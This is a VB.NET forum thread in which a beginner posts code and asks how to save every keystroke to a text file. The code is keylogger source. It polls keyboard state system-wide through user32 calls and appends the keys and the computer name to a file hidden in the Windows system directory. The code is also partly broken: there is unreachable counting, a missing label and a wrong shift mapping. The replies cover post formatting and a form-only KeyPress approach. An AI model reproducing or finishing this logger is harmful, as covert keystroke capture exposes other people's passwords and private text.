save keyboard characters please

boraka

New member
Joined
Mar 8, 2006
Messages
2
Programming Experience
Beginner
hey all;

How can i get simultaneous keyboard characters in a txt file with filestream append (i want save all keyboard characters in this txt file),i tryed too much with filestream :mad: ,i am close for eat my brain :confused: really s.o.s
VB.NET:
Imports System.IO
Imports System.Windows.Forms
PublicClass Form1
PrivateDeclareFunction GetWindowTextLength Lib"user32"Alias"GetWindowTextLengthA" (ByVal hwnd As IntPtr) AsInteger
PrivateDeclareFunction GetWindowText Lib"user32"Alias"GetWindowTextA" (ByVal hwnd As IntPtr, ByVal lpString AsString, ByVal cch AsInteger) AsInteger
PrivateDeclareFunction GetForegroundWindow Lib"user32" () AsInteger
PrivateDeclareFunction GetAsyncKeyState Lib"user32" (ByVal vkey AsInteger) AsShort
Dim keyPressed AsObject
Dim charCount As Int32
Dim addKey AsObject
Dim lineLimit As Int32 = 69
Dim i AsObject
Dim yazici As StreamWriter
Dim systemdirectory AsString = (System.Environment.SystemDirectory)
Dim dosyaadi AsString = (systemdirectory & "\bora.txt")
Dim computername AsString = (System.Windows.Forms.SystemInformation.ComputerName.ToString)
PrivateSub Form1_Load(ByVal sender AsObject, ByVal e As System.EventArgs) HandlesMe.Load
'Sistem klasörünü bul
Dim systemdirectory AsString = (System.Environment.SystemDirectory)
'Bilgisayar ismini al
Dim computername AsString = (System.Windows.Forms.SystemInformation.ComputerName.ToString)
Timer1.Enabled = True
raporolustur()
EndSub
Function raporolustur()
'Sistem klasörünü bul
Dim systemdirectory AsString = (System.Environment.SystemDirectory)
'Sistem klasörüne txt dosya aç
Dim dosyaadi AsString = (systemdirectory & "\bora.txt")
'Açılan txt dosyaya gerekenleri yaz
Dim yazici As StreamWriter = New StreamWriter(dosyaadi, True)
yazici.WriteLine("basladi :" & computername & vbTab & Now, True)
yazici.Flush()
EndFunction
PrivateSub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Timer1.Interval = 50
'check Enter key
keyPressed = GetAsyncKeyState(13)
If keyPressed = -32767 Then
charCount = 0
addKey = vbCrLf
GoTo KeyFound
EndIf
'check for backspace
keyPressed = GetAsyncKeyState(8)
If keyPressed = -32767 Then
addKey = "[bs]"
charCount += 4
GoTo KeyFound
EndIf
'check for space bar
keyPressed = GetAsyncKeyState(32)
If keyPressed = -32767 Then
addKey = " "
GoTo KeyFound
charCount += 1
EndIf
'check for colon/semicolon
keyPressed = GetAsyncKeyState(186)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = ";"
Else
addKey = ":"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for =/+
keyPressed = GetAsyncKeyState(187)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "="
Else
addKey = "+"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for ,/<
keyPressed = GetAsyncKeyState(188)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = ","
Else
addKey = "<"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for -/_
keyPressed = GetAsyncKeyState(189)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "-"
Else
addKey = "_"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for ./>
keyPressed = GetAsyncKeyState(190)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "."
Else
addKey = ">"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for //?
keyPressed = GetAsyncKeyState(191)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "/"
Else
addKey = "?"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for `/~
keyPressed = GetAsyncKeyState(192)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "`"
Else
addKey = "~"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for 0/)
keyPressed = GetAsyncKeyState(96)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "0"
Else
addKey = ")"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for 1/!
keyPressed = GetAsyncKeyState(97)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "1"
Else
addKey = "!"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for 2/@
keyPressed = GetAsyncKeyState(98)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "2"
Else
addKey = "@"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for 3/#
keyPressed = GetAsyncKeyState(99)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "3"
Else
addKey = "#"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for 4/$
keyPressed = GetAsyncKeyState(100)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "4"
Else
addKey = "$"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for 5/%
keyPressed = GetAsyncKeyState(101)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "5"
Else
addKey = "%"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for 6/^
keyPressed = GetAsyncKeyState(102)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "6"
Else
addKey = "7"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for 7/&
keyPressed = GetAsyncKeyState(103)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "7"
Else
addKey = "&"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for 8/*
keyPressed = GetAsyncKeyState(104)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "8"
Else
addKey = "*"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for 9/(
keyPressed = GetAsyncKeyState(105)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "9"
Else
addKey = "("
EndIf
GoTo KeyFound
charCount += 1
EndIf
'other num/special chars
keyPressed = GetAsyncKeyState(106)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "*"
charCount += 1
Else
addKey = ""
EndIf
GoTo KeyFound
EndIf
keyPressed = GetAsyncKeyState(107)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "+"
Else
addKey = "="
EndIf
GoTo KeyFound
charCount += 1
EndIf
keyPressed = GetAsyncKeyState(108)
If keyPressed = -32767 Then
addKey = ""
GoTo KeyFound
EndIf
keyPressed = GetAsyncKeyState(109)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "-"
Else
addKey = "_"
EndIf
GoTo KeyFound
charCount += 1
EndIf
keyPressed = GetAsyncKeyState(110)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "."
Else
addKey = ">"
EndIf
GoTo KeyFound
charCount += 1
EndIf
keyPressed = GetAsyncKeyState(111)
If keyPressed = -32767 Then
addKey = "/"
GoTo KeyFound
charCount += 1
EndIf
keyPressed = GetAsyncKeyState(2)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "/"
Else
addKey = "?"
EndIf
GoTo KeyFound
charCount += 1
EndIf
keyPressed = GetAsyncKeyState(220)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "\"
Else
addKey = "|"
EndIf
GoTo KeyFound
charCount += 1
EndIf
keyPressed = GetAsyncKeyState(222)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "'"
Else
addKey = Chr(34)
EndIf
GoTo KeyFound
charCount += 1
EndIf
keyPressed = GetAsyncKeyState(221)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "]"
Else
addKey = "}"
EndIf
GoTo KeyFound
charCount += 1
EndIf
keyPressed = GetAsyncKeyState(219)
If keyPressed = -32767 Then
If getShift() = FalseThen
addKey = "["
Else
addKey = "{"
EndIf
GoTo KeyFound
charCount += 1
EndIf
'check for a-z upper and lower case
For i = 65 To 128
keyPressed = GetAsyncKeyState(i)
If keyPressed = -32767 Then
If getShift() = FalseThen
If getCapslock() = TrueThen
addKey = UCase(Chr(i))
Else
addKey = LCase(Chr(i))
EndIf
Else
If getCapslock() = FalseThen
addKey = UCase(Chr(i))
Else
addKey = LCase(Chr(i))
EndIf
EndIf
GoTo KeyFound
charCount += 1
EndIf
Next i
For i = 48 To 57
keyPressed = GetAsyncKeyState(i)
If keyPressed = -32767 Then
If getShift() = TrueThen
SelectCase Val(Chr(i))
Case 1
addKey = "!"
Case 2
addKey = "@"
Case 3
addKey = "#"
Case 4
addKey = "$"
Case 5
addKey = "%"
Case 6
addKey = "^"
Case 7
addKey = "&"
Case 8
addKey = "*"
Case 9
addKey = "("
Case 0
addKey = ")"
EndSelect
Else
addKey = Chr(i)
EndIf
GoTo KeyFound
charCount += 1
EndIf
Next i
System.Windows.Forms.Application.DoEvents()
ExitSub
 
Last edited by a moderator:
Good day, boraka, it is not a good idea to post an seemingly endless list of code (somewhere around 400 lines?), especially without putting it into the nice code boxes provided.. people can hardly get to the Reply button ;) Read the forum FAQ http://www.vbdotnetforums.com/faq.php about to posting tools at your disposal. Also provide meaningful thread titles, I changed "İ need help please" to "save keyboard characters please"
 
JohnH said:
Good day, boraka, it is not a good idea to post an seemingly endless list of code (somewhere around 400 lines?), especially without putting it into the nice code boxes provided.. people can hardly get to the Reply button ;) Read the forum FAQ http://www.vbdotnetforums.com/faq.php about to posting tools at your disposal. Also provide meaningful thread titles, I changed "İ need help please" to "save keyboard characters please"

Ok. johnH i am sorry for that
 
couldn't you just handle the OnKeyPress event on the form and capture the character and append that character to your file stream? If you're filestream is the problem, write the character into a stringbuilder and once the stringbuilder reaches a certain pre-defined limit, flush the stringbuilder to your filestream.
 
Back
Top